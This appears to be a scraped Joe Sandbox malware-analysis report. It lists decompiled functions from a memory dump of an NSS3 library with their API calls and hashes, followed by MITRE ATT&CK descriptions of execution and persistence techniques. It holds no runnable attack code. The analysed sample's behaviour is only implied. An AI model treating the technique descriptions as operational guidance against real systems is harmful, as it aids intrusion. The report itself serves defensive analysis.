Part of subcall function 6C1110C0: PL_ArenaAllocate.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111141
Part of subcall function 6C1110C0: PR_Unlock.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111182
Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C10ED02

Part of subcall function 6C1110C0: PL_ArenaAllocate.NSS3(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C10ED5A

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 0dd4e08f811e6bd4d7b4cc3ea3b6e731a7d69186d299d513b716fdffbe90254d
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 7721A4B1E007425BE700CF26D944B52B7E4FFA5348F25C22AE85C87A61EB70E694C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 6C104900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C0EC79F,?,?,6C105C4A,?), ref: 6C104950

Part of subcall function 6C108800: TlsGetValue.KERNEL32(?,6C11085A,00000000,?,6C0B8369,?), ref: 6C108821
Part of subcall function 6C108800: TlsGetValue.KERNEL32(?,?,6C11085A,00000000,?,6C0B8369,?), ref: 6C10883D
Part of subcall function 6C108800: EnterCriticalSection.KERNEL32(?,?,?,6C11085A,00000000,?,6C0B8369,?), ref: 6C108856
Part of subcall function 6C108800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C108887
Part of subcall function 6C108800: PR_Unlock.NSS3(?,?,?,?,6C11085A,00000000,?,6C0B8369,?), ref: 6C108899

TlsGetValue.KERNEL32(?,?,?), ref: 6C10496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C10497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C104989

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: af0f83792cabd8000523f3ee2690ff132c6211cc411f9bae4b64bcbe699f6a51
Instruction ID: cdd135e2ba22ab02f3c60d0ba4ce2103b8726e727e08e7bdff51f2d119e49b1c
Opcode Fuzzy Hash: af0f83792cabd8000523f3ee2690ff132c6211cc411f9bae4b64bcbe699f6a51
Instruction Fuzzy Hash: 681108F5B046009BEB005F29DC86A1677B8FF2A36CB140136ED4A97F91EF21E924C791

Uniqueness

Uniqueness Score: -1.00%

Function 6C1208D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C1209B3,0000001A,?), ref: 6C1208E9

Part of subcall function 6C110840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C1108B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C1208FD

Part of subcall function 6C10FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C108D2D,?,00000000,?), ref: 6C10FB85
Part of subcall function 6C10FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C10FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C120939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C120953

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: d2b577a9b2637931151d5540477c5845e2301efaf3af892016ae09135d7bb543
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: D80104B9A0164A2BFF04DB359C21B6737999F50218F004239EC2FC6A01EB29E458DA94

Uniqueness

Uniqueness Score: -1.00%

Function 6C13EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C127FFA,?,6C129767,?,8B7874C0,0000A48E), ref: 6C13EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C127FFA,?,6C129767,?,8B7874C0,0000A48E), ref: 6C13EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C127FFA,?,6C129767,?,8B7874C0,0000A48E), ref: 6C13EE14

Part of subcall function 6C110BE0: malloc.MOZGLUE(6C108D2D,?,00000000,?), ref: 6C110BF8
Part of subcall function 6C110BE0: TlsGetValue.KERNEL32(6C108D2D,?,00000000,?), ref: 6C110C15

memcpy.VCRUNTIME140(?,?,6C129767,00000000,00000000,6C127FFA,?,6C129767,?,8B7874C0,0000A48E), ref: 6C13EE33

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 9fc068dfb8ed09096f913591a83dc370a81bcf435aa4ed33a270a08e9b03eaed
Instruction ID: 4340946ca4194c1dfa65ba775368eb8ed9bcad182589784661ec6bae329ee2fb
Opcode Fuzzy Hash: 9fc068dfb8ed09096f913591a83dc370a81bcf435aa4ed33a270a08e9b03eaed
Instruction Fuzzy Hash: 4111CAB1A00726AFDB109E65DC84B46B368EF1435DF104535E91D82A80E335FE64C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C0D8DE7
EnterCriticalSection.KERNEL32 ref: 6C0D8DFC
PR_Unlock.NSS3 ref: 6C0D8E2D
PR_SetError.NSS3 ref: 6C0D8E49

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ece206b7b28825d697eead6881e8b1f9b1fe245f3b9572ef6769d9f6662bc818
Instruction ID: 7ec4c4653f64159bf936d7e025c444f6b339ec9bf8bc24bd3f78cf0aa8ccf525
Opcode Fuzzy Hash: ece206b7b28825d697eead6881e8b1f9b1fe245f3b9572ef6769d9f6662bc818
Instruction Fuzzy Hash: 91118FB16056059FD700AF78C44826DBBF4FF05758F42496ADD8897B40EB30E894CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6C15AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C145F17,?,?,?,?,?,?,?,?,6C14AAD4), ref: 6C15AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C145F17,?,?,?,?,?,?,?,?,6C14AAD4), ref: 6C15ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C14AAD4), ref: 6C15ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C14AAD4), ref: 6C15ACDB

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 45565200ed38b9c76802233e070a75a11233ced83c0a43e3dc869e5a2d0adb69
Instruction ID: 9c1204d2350349139b7635c4a26de1600be2ff7dcfc12201c869738d4f54108f
Opcode Fuzzy Hash: 45565200ed38b9c76802233e070a75a11233ced83c0a43e3dc869e5a2d0adb69
Instruction Fuzzy Hash: B70129F1701B029BEB50DF29D909753B7E8BB10A69B504839D86AC3A00E731F065CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C1088E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C1108AA,?), ref: 6C1088F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C1108AA,?), ref: 6C10890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C1108AA,?), ref: 6C108936
PR_Unlock.NSS3(?,?,?,?,?,6C1108AA,?), ref: 6C108940

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 2a84b2710abcac6ae0f9e29dedb8801a94242aeb220d92e45e81f70780e1e5ad
Instruction ID: 62da9db3176f702cbaad3b3d09131f090b573bd3b9ee863de88ecd451b7ee18d
Opcode Fuzzy Hash: 2a84b2710abcac6ae0f9e29dedb8801a94242aeb220d92e45e81f70780e1e5ad
Instruction Fuzzy Hash: 300161B4B08A459FE700BF79C088659B7F4FF55398F01462AD89487B41EB30E5A5CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6C15AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6C145D40,00000000,?,?,6C136AC6,6C14639C), ref: 6C15AC2D

Part of subcall function 6C0FADC0: TlsGetValue.KERNEL32(?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE10
Part of subcall function 6C0FADC0: EnterCriticalSection.KERNEL32(?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE24
Part of subcall function 6C0FADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C0DD079,00000000,00000001), ref: 6C0FAE5A
Part of subcall function 6C0FADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE6F
Part of subcall function 6C0FADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAE7F
Part of subcall function 6C0FADC0: TlsGetValue.KERNEL32(?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAEB1
Part of subcall function 6C0FADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C0DCDBB,?,6C0DD079,00000000,00000001), ref: 6C0FAEC9

PK11_FreeSymKey.NSS3(?,6C145D40,00000000,?,?,6C136AC6,6C14639C), ref: 6C15AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6C145D40,00000000,?,?,6C136AC6,6C14639C), ref: 6C15AC59
free.MOZGLUE(8CB6FF01,6C136AC6,6C14639C,?,?,?,?,?,?,?,?,?,6C145D40,00000000,?,6C14AAD4), ref: 6C15AC62

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: faee0084c535876c270d663751657673e633cb08a943828446509a297a4d8304
Instruction ID: 2ee18d250df6d265c3cb9e772287da5fba0bd3695640832c675268d163728357
Opcode Fuzzy Hash: faee0084c535876c270d663751657673e633cb08a943828446509a297a4d8304
Instruction Fuzzy Hash: A90178B56002009BDB00CF18E8C1B5677A8AB14B18F188069EC5A8F706D730F858CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 6C140840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C212F88,6C140660,00000020,00000000,?,?,6C142C3D,?,00000000,00000000,?,6C142A28,00000060,00000001), ref: 6C140860

Part of subcall function 6C034C70: TlsGetValue.KERNEL32(?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034C97
Part of subcall function 6C034C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034CB0
Part of subcall function 6C034C70: PR_Unlock.NSS3(?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C142C3D,?,00000000,00000000,?,6C142A28,00000060,00000001), ref: 6C140874
EnterCriticalSection.KERNEL32(00000001), ref: 6C140884
PR_Unlock.NSS3 ref: 6C1408A3

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 450e2bb260269c2d9a09feed88a3bcbe76522bb49f9a244af7ee1f861a916a7b
Instruction ID: 37d5f6f262bd43848a5f226038e47b6fdac482d686bb8906fbb12780349b0df2
Opcode Fuzzy Hash: 450e2bb260269c2d9a09feed88a3bcbe76522bb49f9a244af7ee1f861a916a7b
Instruction Fuzzy Hash: 9C0147B2E002856BEB002F66EC09A597B78DB7331DF088125FD0C52E42EF2295A4C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6C1CCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C1CCC61
free.MOZGLUE ref: 6C1CCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C1CCC80
free.MOZGLUE(?), ref: 6C1CCC87

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 97d219a1788ae436a5d17cca0ef4257993250c6ab5f7039fb02c13b5144b7978
Instruction ID: d2ebe16cffeb2f7f44699cda71f696dc8d839fb5dcc9ae0a4dd8314851a36e78
Opcode Fuzzy Hash: 97d219a1788ae436a5d17cca0ef4257993250c6ab5f7039fb02c13b5144b7978
Instruction Fuzzy Hash: 01E030B67006089BCA10EFA8DC4888677ACEE49670315052AEA91C3780D331F905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C104D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C104D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C104DE6

Strings

%d.%d, xrefs: 6C104DDE

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 45a99f3bf6563e054fafe2fcba20d496ab0826a5b5dd47dcad2ae1c87c3ae7c7
Instruction ID: 082608d2b6ebd0ab8c41a7f8c138e8e111aea3014fc759150d7b575795ef0650
Opcode Fuzzy Hash: 45a99f3bf6563e054fafe2fcba20d496ab0826a5b5dd47dcad2ae1c87c3ae7c7
Instruction Fuzzy Hash: 8E3129B2E042186BEB109BA09C45BFF7778EF64308F050469ED15AB781EF709919CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6C1A0900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C1A0917
sqlite3_value_text.NSS3(?), ref: 6C1A0923

Part of subcall function 6C0613C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C032352,?,00000000,?,?), ref: 6C061413
Part of subcall function 6C0613C0: memcpy.VCRUNTIME140(00000000,6C032352,00000002,?,?,?,?,6C032352,?,00000000,?,?), ref: 6C0614C0

Strings

error in %s %s%s%s: %s, xrefs: 6C1A0944

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 3ae832522e11bf65f2991bd05181179fafa71c14c330970f717784e4d6ab7671
Instruction ID: 62bef0dfaff9e662ca6eac669869c44aa2973b3623214076725cd0fb6d87b206
Opcode Fuzzy Hash: 3ae832522e11bf65f2991bd05181179fafa71c14c330970f717784e4d6ab7671
Instruction Fuzzy Hash: 1E010CB6E001449FDB015E98EC01ABABBB5EFC5218F144029ED595B712F732A91587A1

Uniqueness

Uniqueness Score: -1.00%

Function 6C110DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C110DF5
TlsGetValue.KERNEL32 ref: 6C110E2D
TlsGetValue.KERNEL32 ref: 6C110E58
TlsGetValue.KERNEL32 ref: 6C110E84

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 9d5bb309d0a9e4c23a2e9c1f1a36e6ec430e1d580181716e959d82bd6ba8db9e
Instruction ID: 002a64ca832d95459f90dc3c703f73d87b9c6a6721fa9a89e019bbefbbcb4913
Opcode Fuzzy Hash: 9d5bb309d0a9e4c23a2e9c1f1a36e6ec430e1d580181716e959d82bd6ba8db9e
Instruction Fuzzy Hash: 6431A2B0A4A3858FDB006F79C4492697BA4BF16308F01463DEC8987E51EB3995A5CB92

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
